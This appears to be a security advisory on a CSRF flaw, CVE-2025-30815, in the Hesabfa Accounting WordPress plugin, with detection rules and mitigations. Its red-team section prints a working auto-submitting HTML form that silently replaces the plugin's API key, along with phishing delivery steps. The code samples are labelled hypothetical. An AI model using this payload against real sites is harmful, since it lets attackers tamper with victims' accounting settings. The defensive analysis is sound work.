CVE-2025-30815

Executive Summary

CVE-2025-30815 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Hesabfa Accounting WordPress plugin, developed by Saeed Sattar Beglou. This vulnerability affects all versions up to and including 2.1.8. The flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or initiating unauthorized transactions, without their consent. The vulnerability is classified under CWE-352 and has a CVSS score of 4.3 (Medium). No public proof-of-concept (PoC) or exploit code is currently available, and the patch status remains unknown. This report provides a comprehensive technical analysis, detection strategies, and mitigation recommendations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. As such, it is part of the WordPress ecosystem and does not involve NPM, PyPI, Go, or Ruby packages. Users are advised to monitor the plugin’s update channel for a patched version.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network – The attack can be launched remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need prior authentication.
• User Interaction (UI): Required – The victim must click a malicious link or visit a crafted page.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): Low – The attacker can modify plugin settings or perform actions on behalf of the admin.
• Availability (A): None – No denial-of-service impact.

Threat Level: Medium. While the impact is limited to integrity, the low attack complexity and lack of privileges make it a viable vector for phishing or social engineering campaigns targeting site administrators.

Deep Dive & Mechanics

The vulnerability resides in the Hesabfa Accounting plugin’s administrative interface. The plugin fails to implement proper CSRF tokens or nonces in its state-changing requests (e.g., settings updates, transaction submissions). As a result, an attacker can craft a malicious HTML page or email that, when viewed by an authenticated admin, triggers a forged request to the WordPress site.

Attack Flow:

1. The attacker identifies a target site running the vulnerable plugin.
2. The attacker crafts a malicious link or form that submits a request to the plugin’s admin endpoint (e.g., /wp-admin/admin-post.php?action=hesabfa_update_settings).
3. The attacker lures an authenticated admin to click the link or visit the page (e.g., via phishing email).
4. The admin’s browser automatically sends the forged request, including their session cookies.
5. The plugin processes the request without verifying the origin, leading to unauthorized changes (e.g., altering API keys, modifying accounting data).

Root Cause: Lack of CSRF protection (nonce verification) in the plugin’s admin actions.

Vulnerable vs. Patched Code

Since no patch is available, the following analysis is based on typical CSRF vulnerabilities in WordPress plugins.

Vulnerable Code (hypothetical example):

// In admin.php or similar
add_action('admin_post_hesabfa_update_settings', 'hesabfa_update_settings_handler');

function hesabfa_update_settings_handler() {
    // No nonce verification
    update_option('hesabfa_api_key', $_POST['api_key']);
    update_option('hesabfa_company_id', $_POST['company_id']);
    wp_redirect(admin_url('admin.php?page=hesabfa-settings'));
    exit;
}

Patched Code (expected fix):

add_action('admin_post_hesabfa_update_settings', 'hesabfa_update_settings_handler');

function hesabfa_update_settings_handler() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'hesabfa_update_settings')) {
        wp_die('CSRF validation failed.');
    }
    update_option('hesabfa_api_key', sanitize_text_field($_POST['api_key']));
    update_option('hesabfa_company_id', sanitize_text_field($_POST['company_id']));
    wp_redirect(admin_url('admin.php?page=hesabfa-settings'));
    exit;
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with Hesabfa Accounting plugin version <= 2.1.8.
• An authenticated admin session (simulated via cookies).

Step 1: Craft the CSRF Payload Create an HTML file (csrf_exploit.html) that automatically submits a form to the vulnerable endpoint:

<html>
<body>
<form id="csrf" action="http://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="hesabfa_update_settings">
    <input type="hidden" name="api_key" value="attacker_controlled_key">
    <input type="hidden" name="company_id" value="9999">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Step 2: Host and Deliver

• Host the file on an attacker-controlled server.
• Send a phishing email to the admin with a link to the hosted file.

Step 3: Verify

• After the admin visits the link, check if the plugin settings have changed (e.g., API key updated).

Blue Team (Defense & Detection)

Detection:

• Monitor for unexpected changes to plugin settings (e.g., API keys, company IDs).
• Analyze web server logs for POST requests to /wp-admin/admin-post.php with action=hesabfa_* parameters originating from external referrers.

Prevention:

• Implement CSRF tokens (nonces) in all admin forms.
• Use the check_admin_referer() function in WordPress.
• Educate administrators about phishing risks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-post.php with action=hesabfa_* parameters.
  • Referrer headers pointing to external domains (e.g., attacker-controlled sites).
• File IOCs:
  • Unexpected changes in the wp_options table for hesabfa_api_key or hesabfa_company_id.
• Behavioral IOCs:
  • Admin accounts performing actions without corresponding UI interactions (e.g., settings changes without visiting the settings page).

Detection Engineering

YARA Rule

rule detect_hesabfa_csrf_exploit {
    meta:
        description = "Detects CSRF exploit attempts against Hesabfa Accounting plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30815"
    strings:
        $action = "hesabfa_update_settings" nocase
        $action2 = "hesabfa_save_transaction" nocase
        $wp_admin = "/wp-admin/admin-post.php" nocase
    condition:
        any of ($action*) and $wp_admin
}

Sigma Rule

title: CSRF Exploit Against Hesabfa Accounting Plugin
id: 8a3f7c2e-9b1d-4f5a-8c6e-7d2f3a1b4c5d
status: experimental
description: Detects POST requests to WordPress admin-post.php with Hesabfa actions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "action=hesabfa_update_settings"
            - "action=hesabfa_save_transaction"
        cs-uri-stem|endswith: "/wp-admin/admin-post.php"
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-30815 - CSRF Attempt Against Hesabfa Accounting";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-post.php"; http_uri;
    content:"action=hesabfa_"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-30815;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Implement a Web Application Firewall (WAF) rule to block POST requests to /wp-admin/admin-post.php with action=hesabfa_* parameters from external referrers.
3. Educate administrators to avoid clicking suspicious links while logged into WordPress.

Long-Term Fix:

• The vendor must release a patched version that includes CSRF nonce verification for all admin actions.
• Users should update to the latest version once available.

Workaround:

• Add a custom function to the theme’s functions.php to enforce nonce checks:

add_action('admin_post_hesabfa_update_settings', function() {
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'hesabfa_update_settings')) {
        wp_die('CSRF detected.');
    }
}, 1);

Valters IT
Securing Digital Frontiers